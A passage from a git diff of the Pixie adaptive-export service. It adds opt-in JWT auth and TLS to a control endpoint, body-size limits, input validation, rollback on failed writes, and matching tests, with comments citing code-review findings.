would make the query count non-deterministic. +func isNXDomain(err error) bool { + var de *net.DNSError + if errors.As(err, &de) { + return de.IsNotFound + } + return false +} diff --git a/src/e2e_test/adaptive_export_loadtest/tools/loadgen/cmd/httpsink/main.go b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/cmd/httpsink/main.go new file mode 100644 index 00000000000..efe076af467 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/cmd/httpsink/main.go @@ -0,0 +1,30 @@ +// httpsink β€” a minimal HTTP server for the AE load-test data plane. +// +// It exists only to terminate cleanloadgen's counted HTTP requests with a 200 +// and zero side effects. No logging, no metrics endpoint, no readiness/liveness +// surface β€” anything extra would be captured by Pixie and pollute the per-pod +// http_events / conn_stats counts on the sink side. (AE filters to the client +// pod, so the sink's rows are excluded anyway, but keeping it silent removes any +// chance of cross-talk.) +package main + +import ( + "net/http" + "os" +) + +func main() { + addr := ":8080" + if v := os.Getenv("LISTEN_ADDR"); v != "" { + addr = v + } + mux := http.NewServeMux() + mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusOK) + _, _ = w.Write([]byte("ok\n")) + }) + srv := &http.Server{Addr: addr, Handler: mux} + if err := srv.ListenAndServe(); err != nil { + panic(err) + } +} diff --git a/src/e2e_test/adaptive_export_loadtest/tools/loadgen/go.mod b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/go.mod new file mode 100644 index 00000000000..4ad12205416 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/go.mod @@ -0,0 +1,5 @@ +module aeload + +go 1.22 + +require github.com/lib/pq v1.10.9 diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel b/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel index bcb150a2802..38fa4950c16 100644 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel +++ b/src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel @@ -24,29 +24,29 @@ package(default_visibility = [ # Generate all Go container library permutations for supported Go versions. go_container_libraries( - container_type = "grpc_server", bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "grpc_server", prebuilt_container_versions = pl_go_test_versions, ) # Stirling test cases usually test server side tracing. Therefore # we only need to provide the bazel SDK versions for the client containers. go_container_libraries( - container_type = "grpc_client", bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "grpc_client", ) go_container_libraries( - container_type = "tls_server", bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "tls_server", prebuilt_container_versions = pl_go_test_versions, ) # Stirling test cases usually test server side tracing. Therefore # we only need to provide the bazel SDK versions for the client containers. go_container_libraries( - container_type = "tls_client", bazel_sdk_versions = pl_all_supported_go_sdk_versions, + container_type = "tls_client", ) pl_cc_test_library( diff --git a/src/vizier/services/adaptive_export/cmd/main.go b/src/vizier/services/adaptive_export/cmd/main.go index 3f36f2698cb..3f27f18f34d 100644 --- a/src/vizier/services/adaptive_export/cmd/main.go +++ b/src/vizier/services/adaptive_export/cmd/main.go @@ -575,6 +575,17 @@ func main() { if addr := os.Getenv("CONTROL_ADDR"); addr != "" { ctrlSrv := control.New(activeSet, nil) // OrderQuery runner wired later ctrlSrv.SetGraphWriter(applier) // dx_attack_graph ingest β†’ ClickHouse + // Bearer-JWT auth on the control surface (CodeRabbit: protect control + // endpoints). Same shared lib + signing key the broker/PEM use β€” dx + // attaches the service JWT it already mints. Default-OFF so this can + // merge before dx sends the bearer; flip CONTROL_REQUIRE_AUTH=true once + // dx is updated + PL_JWT_SIGNING_KEY is mounted. Safe incremental rollout. + if key := os.Getenv("PL_JWT_SIGNING_KEY"); key != "" && os.Getenv("CONTROL_REQUIRE_AUTH") == "true" { + ctrlSrv.SetAuth(key, "vizier") + log.Info("control surface: bearer-JWT auth ENABLED (audience=vizier)") + } else { + log.Warn("control surface: auth DISABLED (set CONTROL_REQUIRE_AUTH=true + PL_JWT_SIGNING_KEY)") + } // Wrap in an http.Server with explicit timeouts so a slow client // can't pin a goroutine on the control surface (CodeRabbit // r3379377432). The control plane is small/idempotent JSON, so @@ -589,8 +600,27 @@ func main() { } go func() { log.WithField("addr", addr).Info("control surface listening") - if err := httpSrv.ListenAndServe(); err != nil && - err != http.ErrServerClosed { + // CONTROL_TLS=true β†’ serve TLS so the bearer JWT + control payloads + // don't cross the CNI in cleartext (auth without TLS leaks the token). + // Cert/key from the service-tls-certs secret the broker/PEM already use + // (mounted /certs); dx skip-verifies. Default-OFF for incremental rollout. + var err error + if os.Getenv("CONTROL_TLS") == "true" { + cert := os.Getenv("CONTROL_TLS_CERT") + if cert == "" { + cert = "/certs/server.crt" + } + key := os.Getenv("CONTROL_TLS_KEY") + if key == "" { + key = "/certs/server.key" + } + log.WithField("cert", cert).Info("control surface: TLS ENABLED") + err = httpSrv.ListenAndServeTLS(cert, key) + } else { + log.Warn("control surface: TLS DISABLED β€” bearer JWT crosses the CNI in cleartext (set CONTROL_TLS=true)") + err = httpSrv.ListenAndServe() + } + if err != nil && err != http.ErrServerClosed { log.WithError(err).Error("control surface stopped") } }() @@ -826,8 +856,15 @@ func installPresetScripts(client *pixie.Client, clusterID, clusterName string) ( // // Any other script is assumed user-authored and left alone. func isOperatorManagedScript(name string) bool { - if strings.HasPrefix(name, "ch-") { - return true + // Match the EXACT names builtinPresetScripts emits β€” never a prefix. + // A user-authored script named "ch-something-custom" would otherwise + // be classified as operator-managed and deleted on the next + // installPresetScripts pass under INSTALL_PRESET_SCRIPTS=true + // (CodeRabbit r-#68/cmd/main.go). + for _, p := range builtinPresetScripts() { + if name == p.Name { + return true + } } switch name { case "conn_stats export", "dc snoop export", "stack_traces export": diff --git a/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go b/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go index d96b784c7e7..4848e30f75d 100644 --- a/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go +++ b/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go @@ -43,6 +43,12 @@ type Client struct { user string pass string hc *http.Client + // streamHC is a parallel client with NO Timeout β€” Go's + // http.Client.Timeout covers body reads, so reusing hc for + // QueryStream would silently truncate a multi-MB active-set + // rehydrate at DefaultTimeout. Stream callers must bound their + // own ctx deadline (CodeRabbit r-#68/chhttp.go). + streamHC *http.Client } // New validates the endpoint and returns a ready client. timeout<=0 β†’ @@ -71,6 +77,7 @@ func New(endpoint, user, pass string, timeout time.Duration) (*Client, error) { user: user, pass: pass, hc: &http.Client{Timeout: timeout}, + streamHC: &http.Client{}, // no Timeout β€” see streamHC docstring above }, nil } @@ -97,7 +104,11 @@ func (c *Client) Query(ctx context.Context, sql string) ([]byte, error) { // QueryStream GETs sql like Query, but returns the response body as an // io.ReadCloser the caller drains incrementally. Use for SELECTs whose // result set is unbounded (e.g. an active-set rehydrate that may be -// multi-MB). Caller MUST Close the returned body, even on error. +// multi-MB). Caller MUST Close the returned body, even on error, and +// MUST bound the request via ctx.Deadline β€” the underlying transport +// here has NO http.Client.Timeout because that timeout would cover +// body reads and silently truncate a long stream +// (CodeRabbit r-#68/chhttp.go). func (c *Client) QueryStream(ctx context.Context, sql string) (io.ReadCloser, error) { q := url.Values{} q.Set("query", sql) @@ -108,7 +119,7 @@ func (c *Client) QueryStream(ctx context.Context, sql string) (io.ReadCloser, er if c.user != "" { req.SetBasicAuth(c.user, c.pass) } - resp, err := c.hc.Do(req) + resp, err := c.streamHC.Do(req) if err != nil { return nil, err } diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql b/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql index 7424ab4110d..494285b3d12 100644 --- a/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql +++ b/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql @@ -482,7 +482,10 @@ CREATE TABLE IF NOT EXISTS forensic_db.ae_reconcile ( hostname String ) ENGINE = MergeTree PARTITION BY toYYYYMMDD(ts) - ORDER BY (table_name, ts); + ORDER BY (table_name, ts) + -- append-only debug log; cap growth so long reconcile runs don't accumulate + -- unbounded storage (CodeRabbit). 30d matches the pixie observation tables. + TTL toDateTime(ts) + INTERVAL 30 DAY DELETE; -- dx_attack_graph β€” dx evidence-graph edge list: one row per directed hop of an -- investigation (delivery/egress/execution/exfil/pivot), read by the Pixie diff --git a/src/vizier/services/adaptive_export/internal/control/BUILD.bazel b/src/vizier/services/adaptive_export/internal/control/BUILD.bazel index df247211840..c22b1b8ba71 100644 --- a/src/vizier/services/adaptive_export/internal/control/BUILD.bazel +++ b/src/vizier/services/adaptive_export/internal/control/BUILD.bazel @@ -23,6 +23,7 @@ go_library( importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/control", visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], deps = [ + "//src/shared/services/utils", "//src/vizier/services/adaptive_export/internal/activeset", "//src/vizier/services/adaptive_export/internal/anomaly", ], @@ -33,6 +34,7 @@ pl_go_test( srcs = ["server_test.go"], embed = [":control"], deps = [ + "//src/shared/services/utils", "//src/vizier/services/adaptive_export/internal/activeset", "//src/vizier/services/adaptive_export/internal/anomaly", ], diff --git a/src/vizier/services/adaptive_export/internal/control/server.go b/src/vizier/services/adaptive_export/internal/control/server.go index a4770148952..88e67d76369 100644 --- a/src/vizier/services/adaptive_export/internal/control/server.go +++ b/src/vizier/services/adaptive_export/internal/control/server.go @@ -31,8 +31,10 @@ import ( "context" "encoding/json" "net/http" + "strings" "time" + jwtutils "px.dev/pixie/src/shared/services/utils" "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" ) @@ -63,6 +65,7 @@ type Server struct { runner queryRunner // may be nil; /query then returns 501 graph graphWriter // may be nil; /dx/attack_graph then returns 501 mux *http.ServeMux + verify func(bearer string) error // nil β†’ auth disabled; set via SetAuth } // New builds the control server. runner may be nil for deployments that @@ -80,8 +83,37 @@ func New(set exporter, runner queryRunner) *Server { // SetGraphWriter wires the dx_attack_graph sink. func (s *Server) SetGraphWriter(g graphWriter) { s.graph = g } -// Handler exposes the mux (for httptest + main.go wiring). -func (s *Server) Handler() http.Handler { return s.mux } +// SetAuth turns on bearer-JWT auth for the control surface, verified with the +// SAME shared lib + signing key the vizier broker/PEM use (px.dev/pixie/src/ +// shared/services/utils). dx already mints a service JWT (GenerateJWTForService, +// PL_JWT_SIGNING_KEY) for its broker/PEM queries β€” it attaches the same token +// here. No new secret/crypto. /healthz stays open for k8s probes. +// (CodeRabbit: protect control endpoints with auth β€” server.go.) +func (s *Server) SetAuth(signingKey, audience string) { + s.verify = func(bearer string) error { + _, err := jwtutils.ParseToken(bearer, signingKey, audience) + return err + } +} + +// Handler exposes the mux (for httptest + main.go wiring), wrapped in the auth +// middleware when SetAuth was called. +func (s *Server) Handler() http.Handler { + if s.verify == nil { + return s.mux + } + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/healthz" { // probes stay unauthenticated + const p = "Bearer " + h := r.Header.Get("Authorization") + if !strings.HasPrefix(h, p) || s.verify(strings.TrimPrefix(h, p)) != nil { + w.WriteHeader(http.StatusUnauthorized) + return + } + } + s.mux.ServeHTTP(w, r) + }) +} // handleDXAttackGraph ingests a JSON array of dx evidence-graph edges and writes // them to forensic_db.dx_attack_graph (as JSONEachRow). @@ -95,7 +127,7 @@ func (s *Server) handleDXAttackGraph(w http.ResponseWriter, r *http.Request) { return } var edges []json.RawMessage - if !decode(r, &edges) { + if !decode(w, r, &edges) { w.WriteHeader(http.StatusBadRequest) return } @@ -142,8 +174,17 @@ func (t targetReq) target() anomaly.Target { return anomaly.Target{Comm: t.Comm, Pod: t.Pod, Namespace: t.Namespace} } -func decode(r *http.Request, v any) bool { +// maxControlBodyBytes caps a single control-surface request body. The +// largest legitimate payload we accept is /dx/attack_graph which is a +// JSON array of pre-marshalled JSONEachRow lines β€” measured live the +// hottest dx rule-in pass fits in ~256 KiB. 4 MiB is well above that +// and below the per-pod memory headroom an oversized POST could +// exhaust on the operator (CodeRabbit r-#68/control/server.go). +const maxControlBodyBytes = 4 << 20 + +func decode(w http.ResponseWriter, r *http.Request, v any) bool { defer r.Body.Close() + r.Body = http.MaxBytesReader(w, r.Body, maxControlBodyBytes) return json.NewDecoder(r.Body).Decode(v) == nil } @@ -158,7 +199,7 @@ func (s *Server) handleStart(w http.ResponseWriter, r *http.Request) { return } var req startReq - if !decode(r, &req) || req.Pod == "" { + if !decode(w, r, &req) || req.Pod == "" || req.TEnd <= 0 { w.WriteHeader(http.StatusBadRequest) return } @@ -172,7 +213,7 @@ func (s *Server) handleStop(w http.ResponseWriter, r *http.Request) { return } var req targetReq - if !decode(r, &req) || req.Pod == "" { + if !decode(w, r, &req) || req.Pod == "" { w.WriteHeader(http.StatusBadRequest) return } @@ -190,7 +231,8 @@ func (s *Server) handleQuery(w http.ResponseWriter, r *http.Request) { return } var req queryReq - if !decode(r, &req) || req.Pod == "" || req.Table == "" || req.QueryID == "" { + if !decode(w, r, &req) || req.Pod == "" || req.Table == "" || req.QueryID == "" || + req.Window[0] <= 0 || req.Window[1] <= 0 || req.Window[0] >= req.Window[1] { w.WriteHeader(http.StatusBadRequest) return } diff --git a/src/vizier/services/adaptive_export/internal/control/server_test.go b/src/vizier/services/adaptive_export/internal/control/server_test.go index eec1877d071..630e8515f58 100644 --- a/src/vizier/services/adaptive_export/internal/control/server_test.go +++ b/src/vizier/services/adaptive_export/internal/control/server_test.go @@ -23,6 +23,7 @@ import ( "testing" "time" + jwtutils "px.dev/pixie/src/shared/services/utils" "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" ) @@ -59,6 +60,45 @@ func do(t *testing.T, srv *Server, method, path, body string) *http.Response { return w.Result() } +// TestControlAuth: with SetAuth on, every endpoint except /healthz requires a +// valid bearer JWT minted by the shared lib (the same one dx uses); missing/bad +// tokens get 401. (CodeRabbit: protect control endpoints with auth.) +func TestControlAuth(t *testing.T) { + const key = "0123456789abcdef0123456789abcdef" // HS256 test key + srv := New(&fakeExporter{}, nil) + srv.SetAuth(key, "vizier") + h := srv.Handler() + + good, err := jwtutils.SignJWTClaims(jwtutils.GenerateJWTForService("dx", "vizier"), key) + if err != nil { + t.Fatalf("mint token: %v", err) + } + call := func(path, auth string) int { + req := httptest.NewRequest(http.MethodPost, path, strings.NewReader(`{"pod":"p","t_end":1}`)) + if auth != "" { + req.Header.Set("Authorization", auth) + } + w := httptest.NewRecorder() + h.ServeHTTP(w, req) + return w.Result().StatusCode + } + if got := call("/export/start", ""); got != http.StatusUnauthorized { + t.Fatalf("no bearer: want 401, got %d", got) + } + if got := call("/export/start", "Bearer not-a-jwt"); got != http.StatusUnauthorized { + t.Fatalf("bad bearer: want 401, got %d", got) + } + if got := call("/export/start", "Bearer "+good); got == http.StatusUnauthorized { + t.Fatalf("valid bearer wrongly rejected (401)") + } + reqH := httptest.NewRequest(http.MethodGet, "/healthz", nil) // probes stay open + wH := httptest.NewRecorder() + h.ServeHTTP(wH, reqH) + if wH.Result().StatusCode == http.StatusUnauthorized { + t.Fatal("/healthz must not require auth") + } +} + func TestStartExportUpserts(t *testing.T) { ex := &fakeExporter{} srv := New(ex, nil) @@ -126,6 +166,27 @@ func TestBadInputRejected(t *testing.T) { if r := do(t, srv, http.MethodPost, "/query", `{"pod":"p","query_id":"x","window":[1,2]}`); r.StatusCode != http.StatusBadRequest { t.Fatalf("query no-table = %d, want 400", r.StatusCode) } + // /export/start with t_end <= 0 β€” pins the new contract (CodeRabbit + // r-#68/control/server_test.go). Without this assertion a regression + // that drops the `req.TEnd <= 0` gate would Upsert with a + // time.Unix(0,0) tEnd, immediately-expired. + if r := do(t, srv, http.MethodPost, "/export/start", + `{"pod":"p","namespace":"n","t_end":0}`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("start t_end=0 = %d, want 400", r.StatusCode) + } + if r := do(t, srv, http.MethodPost, "/export/start", + `{"pod":"p","namespace":"n","t_end":-1}`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("start t_end=-1 = %d, want 400", r.StatusCode) + } + // /query with inverted or zero window β€” same idea. + if r := do(t, srv, http.MethodPost, "/query", + `{"pod":"p","table":"http_events","query_id":"x","window":[10,5]}`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("query inverted-window = %d, want 400", r.StatusCode) + } + if r := do(t, srv, http.MethodPost, "/query", + `{"pod":"p","table":"http_events","query_id":"x","window":[5,5]}`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("query zero-window = %d, want 400", r.StatusCode) + } } func TestWrongMethodRejected(t *testing.T) { diff --git a/src/vizier/services/adaptive_export/internal/controller/controller.go b/src/vizier/services/adaptive_export/internal/controller/controller.go index 259f6c9ffc7..442aef64ca6 100644 --- a/src/vizier/services/adaptive_export/internal/controller/controller.go +++ b/src/vizier/services/adaptive_export/internal/controller/controller.go @@ -254,12 +254,33 @@ func (c *Controller) Rehydrate(ctx context.Context) error { return err } c.mu.Lock() - defer c.mu.Unlock() + var resume []sink.AttributionRow for i := range rows { row := rows[i] c.active[row.AnomalyHash] = &row + // Rev-1: a restart restored the window but no pushPixieRows goroutine β€” + // without this, post-restart Pixie data is silently missed until another + // event for the same hash arrives (CodeRabbit). Re-arm the fan-out for + // each restored window, mirroring handle()'s spawn (in-flight guarded). + if c.querier != nil && len(c.cfg.PushPixieTables) > 0 && !c.inFlight[row.AnomalyHash] { + c.inFlight[row.AnomalyHash] = true + resume = append(resume, row) + } } - log.WithField("rehydrated", len(rows)).Info("controller: active set restored") + c.mu.Unlock() + for i := range resume { + r := resume[i] + go func() { + defer func() { + c.mu.Lock() + delete(c.inFlight, r.AnomalyHash) + c.mu.Unlock() + }() + c.pushPixieRows(ctx, r) + }() + } + log.WithFields(log.Fields{"rehydrated": len(rows), "resumed": len(resume)}). + Info("controller: active set restored") return nil } @@ -294,6 +315,16 @@ func (c *Controller) handle(ctx context.Context, ev kubescape.Event) { c.mu.Lock() row, exists := c.active[hash] + // Save the pre-mutation snapshot so we can roll back if the sink + // write fails (CodeRabbit r-#68/controller/controller.go). Without + // this, on write error we'd keep the extended TEnd/NAnomalies/ + // LastSeen in c.active and an already-running pushPixieRows would + // re-snapshot them and fan out data based on an attribution row + // that never actually landed in CH. + var prevRow sink.AttributionRow + if exists { + prevRow = *row + } if !exists { row = &sink.AttributionRow{ AnomalyHash: hash, @@ -331,7 +362,24 @@ func (c *Controller) handle(ctx context.Context, ev kubescape.Event) { c.mu.Unlock() if err := c.sink.Write(ctx, []sink.AttributionRow{snapshot}); err != nil { - log.WithError(err).Warn("controller: sink write failed") + // Attribution persistence failed β†’ do NOT fan out, or we'd write Pixie + // rows with no persisted attribution anchor (orphaned rows, CodeRabbit). + // Non-fatal (system-stability rule): release the reserved in-flight slot, + // ROLL BACK the in-memory mutation so an already-running pushPixieRows + // for this hash doesn't keep extending its window on a phantom + // attribution, and return; a later event for the same hash retries. + log.WithError(err).Warn("controller: sink write failed β€” skipping fan-out") + c.mu.Lock() + if exists { + *c.active[hash] = prevRow + } else { + delete(c.active, hash) + } + if spawn { + delete(c.inFlight, hash) + } + c.mu.Unlock() + return } if c.cfg.OnAttribution != nil { c.cfg.OnAttribution(snapshot.Namespace, snapshot.Pod, snapshot.TEnd) diff --git a/src/vizier/services/adaptive_export/internal/controller/controller_test.go b/src/vizier/services/adaptive_export/internal/controller/controller_test.go index 03b5471c070..f4677f50e5d 100644 --- a/src/vizier/services/adaptive_export/internal/controller/controller_test.go +++ b/src/vizier/services/adaptive_export/internal/controller/controller_test.go @@ -48,11 +48,12 @@ func (f *fakeTrigger) push(ev kubescape.Event) { f.ch <- ev } func (f *fakeTrigger) close() { close(f.ch) } type fakeSink struct { - mu sync.Mutex - writes []sink.AttributionRow - preload []sink.AttributionRow - werr error - qerr error + mu sync.Mutex + writes []sink.AttributionRow + preload []sink.AttributionRow + werr error + qerr error + attempts int // every Write call increments, even when werr fires } func (f *fakeSink) WritePixieRows(_ context.Context, _ string, _ []map[string]any) error { @@ -62,6 +63,7 @@ func (f *fakeSink) WritePixieRows(_ context.Context, _ string, _ []map[string]an func (f *fakeSink) Write(_ context.Context, rows []sink.AttributionRow) error { f.mu.Lock() defer f.mu.Unlock() + f.attempts++ if f.werr != nil { return f.werr } @@ -69,6 +71,12 @@ func (f *fakeSink) Write(_ context.Context, rows []sink.AttributionRow) error { return nil } +func (f *fakeSink) writeAttempts() int { + f.mu.Lock() + defer f.mu.Unlock() + return f.attempts +} + func (f *fakeSink) QueryActive(_ context.Context, hostname string) ([]sink.AttributionRow, error) { f.mu.Lock() defer f.mu.Unlock() @@ -316,7 +324,12 @@ func TestController_PruneExpired(t *testing.T) { } } -// TestController_SinkErrorNonFatal β€” controller does not crash on Sink.Write error. +// TestController_SinkErrorNonFatal β€” controller does not crash on +// Sink.Write error AND rolls back the in-memory attribution row so a +// failed persist doesn't leave a phantom anchor that pushPixieRows +// could fan out against (CodeRabbit r-#68/controller/controller.go). +// The rollback contract is: on first event for a hash with write +// failure β†’ c.active[hash] is NOT added. func TestController_SinkErrorNonFatal(t *testing.T) { trig := newFakeTrigger() snk := &fakeSink{werr: errors.New("ch unreachable")} @@ -326,8 +339,13 @@ func TestController_SinkErrorNonFatal(t *testing.T) { defer stop() trig.push(canonicalEvent()) - // Wait for the handler to process the event (no fixed sleep). - waitFor(t, "active=1 despite sink error", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + // Wait until the handler has actually called Write (and got the + // error). Then assert rollback: active stays at 0. + waitFor(t, "handler processed sink error", 200*time.Millisecond, + func() bool { return snk.writeAttempts() >= 1 }) + if got := c.Active(); got != 0 { + t.Fatalf("Active()=%d after sink error; want 0 (rollback contract)", got) + } } // TestController_RestartMidStream_Aborts β€” context cancel terminates Run. diff --git a/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go b/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go index 77413820a99..d556c131c1c 100644 --- a/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go +++ b/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go @@ -234,7 +234,11 @@ func (l *Loop) tickConcurrent(ctx context.Context, sliceStart, sliceEnd time.Tim } tmpl, ok := l.tmpl[table] if !ok { - // Non-builtin table skipped at precompile time. + // Non-builtin table skipped at precompile time. Record the + // failure so the reconcile row count matches the legacy + // (non-compiled) path, which records one row per table per + // tick unconditionally (CodeRabbit r-#68/passthrough.go). + l.rec(ctx, table, sliceStart, sliceEnd, 0, 0, "pxl: precompile skipped (non-builtin table)") continue } src := pxl.Render(tmpl, sliceStart, sliceEnd) @@ -252,6 +256,11 @@ func (l *Loop) tickConcurrent(ctx context.Context, sliceStart, sliceEnd time.Tim // sink, and recorder are all pool/HTTP-backed and concurrency-safe, and // each call touches a different forensic_db.
. func (l *Loop) pull(ctx context.Context, table, src string, sliceStart, sliceEnd time.Time) { + // Bound this table's external query+write+record so a hung dependency can't + // stall the whole sweep or delay shutdown (CodeRabbit). Derived per-table + // from the parent ctx; covers both the serial and concurrent tick paths. + ctx, cancel := context.WithTimeout(ctx, l.cfg.Refresh) + defer cancel() rows, err := l.q.Query(ctx, src) if err != nil { log.WithError(err).WithField("table", table).Warn("ADAPTIVE_PASSTHROUGH: pixie query failed") diff --git a/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go index 61c8bef283f..6f5e862318b 100644 --- a/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go +++ b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go @@ -130,6 +130,13 @@ func (a *Adapter) Query(ctx context.Context, pxl string) ([]Row, error) { // bounded and matched by goroutine + JWT expiry every ~10min. // If we ever build a high-throughput direct-mode path, swap to // a long-lived client + JWT-refresh ticker instead. + // + // TODO(pem-direct, CR r-#68/pixieapi.go): track a follow-up to + // replace per-Query dial with a long-lived pxapi.Client + + // background JWT refresh once direct-mode throughput crosses + // 1 query/sec sustained. Existing tests in pixieapi_test.go + // pin the per-query JWT mint path; an upgrade has to preserve + // that without leaking connections. c, err := pxapi.NewClient(ctx, pxapi.WithCloudAddr(a.directOpts.VizierAddr), pxapi.WithDirectTLSSkipVerify(), diff --git a/src/vizier/services/adaptive_export/internal/sink/clickhouse.go b/src/vizier/services/adaptive_export/internal/sink/clickhouse.go index e5fc6130a71..1f30fb8a187 100644 --- a/src/vizier/services/adaptive_export/internal/sink/clickhouse.go +++ b/src/vizier/services/adaptive_export/internal/sink/clickhouse.go @@ -198,13 +198,19 @@ func (s *ClickHouseHTTP) WritePixieRows(ctx context.Context, table string, rows firstRowKeys = append(firstRowKeys, k) } } + // Demoted from Info to Debug: one log per Pixie batch in the + // fan-out/streaming hot paths produces avoidable log-volume + // pressure. The original Info was temporary scaffolding while we + // chased the pgsql_events silent-drop mystery; the silent-drop + // guard below is what actually catches that class of bug now. + // (CodeRabbit r-#68/sink/clickhouse.go.) log.WithFields(log.Fields{ "table": table, "rows_sent": len(rows), "body_bytes": buf.Len(), "ch_summary": summary, "first_row_keys": strings.Join(firstRowKeys, ","), - }).Info("sink: pixie write completed") + }).Debug("sink: pixie write completed") // Detect the silent-drop class: CH returns 2xx but // X-ClickHouse-Summary.written_rows < len(rows). Observed live on // 2026-05-23T20:58Z (redis_events: rows_sent=1658, written_rows=0) diff --git a/src/vizier/services/adaptive_export/internal/sink/fastencode.go b/src/vizier/services/adaptive_export/internal/sink/fastencode.go index cfa02bec876..5c099ad7f85 100644 --- a/src/vizier/services/adaptive_export/internal/sink/fastencode.go +++ b/src/vizier/services/adaptive_export/internal/sink/fastencode.go @@ -21,6 +21,7 @@ import ( "encoding/json" "errors" "fmt" + "math" "strconv" "sync" "time" @@ -182,8 +183,21 @@ func appendJSONValue(buf *bytes.Buffer, v any) error { case uint64: appendUint(buf, x) case float32: - appendFloat(buf, float64(x)) + f := float64(x) + // Reject NaN / +Inf / -Inf β€” strconv.AppendFloat emits them as + // "NaN" / "+Inf" / "-Inf" which are invalid JSON and would + // cause CH to reject the entire batch. errFastEncodeUnsupported + // triggers the encoding/json fallback path, which also fails + // on non-finite, but at the per-row granularity instead of + // poisoning the whole batch (CodeRabbit r-#68/fastencode.go). + if math.IsNaN(f) || math.IsInf(f, 0) { + return errFastEncodeUnsupported + } + appendFloat(buf, f) case float64: + if math.IsNaN(x) || math.IsInf(x, 0) { + return errFastEncodeUnsupported + } appendFloat(buf, x) case time.Time: // Same format normalisePixieValue uses for the encoding/json diff --git a/src/vizier/services/adaptive_export/internal/sink/integration_test.go b/src/vizier/services/adaptive_export/internal/sink/integration_test.go index 343510d991f..7ef6e6d4136 100644 --- a/src/vizier/services/adaptive_export/internal/sink/integration_test.go +++ b/src/vizier/services/adaptive_export/internal/sink/integration_test.go @@ -155,13 +155,17 @@ func TestSinkWritePixieRows_Live(t *testing.T) { tag := fmt.Sprintf("aw-pix-%d", time.Now().UnixNano()) now := time.Now().UTC() - ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) - defer cancel() for _, table := range chpkg.PixieTables() { + // Per-table timeout so a slow early table can't starve later + // ones β€” a shared budget across the whole loop makes this live + // test unnecessarily flaky on a loaded CH (CodeRabbit + // r-#68/sink/integration_test.go). + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) row := minimalRowFor(table, tag, now) if err := s.WritePixieRows(ctx, table, []map[string]any{row}); err != nil { t.Errorf("WritePixieRows(%s): %v", table, err) + cancel() continue } ident := table @@ -173,6 +177,7 @@ func TestSinkWritePixieRows_Live(t *testing.T) { if got < 1 { t.Errorf("table %s after WritePixieRows: count=%d, want >=1", table, got) } + cancel() } } diff --git a/src/vizier/services/adaptive_export/internal/streaming/writer.go b/src/vizier/services/adaptive_export/internal/streaming/writer.go index 313ab1ae4cf..004c8b2a8c4 100644 --- a/src/vizier/services/adaptive_export/internal/streaming/writer.go +++ b/src/vizier/services/adaptive_export/internal/streaming/writer.go @@ -109,12 +109,16 @@ func (w *BatchWriter) Run(ctx context.Context) { ticker := time.NewTicker(w.batchEvery) defer ticker.Stop() - flush := func(reason string) { + flush := func(parent context.Context, reason string) { if len(buf) == 0 { return } - // Bound the CH write so a stalled CH HTTP doesn't pin us. - fctx, cancel := context.WithTimeout(ctx, 60*time.Second) + // Bound the CH write so a stalled CH HTTP doesn't pin us. The + // parent ctx is the caller's choice β€” Run passes its own ctx + // for steady-state flushes (so a cancellation propagates) and + // context.Background() for the shutdown flush (so the final + // drain isn't fast-failed by an already-cancelled parent). + fctx, cancel := context.WithTimeout(parent, 60*time.Second) err := w.sink.WritePixieRows(fctx, w.table, buf) cancel() if err != nil { @@ -122,33 +126,39 @@ func (w *BatchWriter) Run(ctx context.Context) { "table": w.table, "rows": len(buf), "reason": reason, - }).Warn("streaming.BatchWriter: flush failed") - } else { - log.WithFields(log.Fields{ - "table": w.table, - "rows": len(buf), - "reason": reason, - }).Info("streaming.BatchWriter: flushed batch") + }).Warn("streaming.BatchWriter: flush failed β€” buffered rows retained for next attempt") + // Keep buf intact on failure so the next flush retries the + // same rows instead of silently dropping them + // (CodeRabbit r-#68/streaming/writer.go). + return } + log.WithFields(log.Fields{ + "table": w.table, + "rows": len(buf), + "reason": reason, + }).Info("streaming.BatchWriter: flushed batch") buf = buf[:0] } for { select { case <-ctx.Done(): - flush("shutdown") + // Shutdown: use Background so the final flush isn't + // fast-failed by the already-cancelled parent ctx + // (CodeRabbit r-#68/streaming/writer.go). + flush(context.Background(), "shutdown") return case rows := <-w.in: buf = 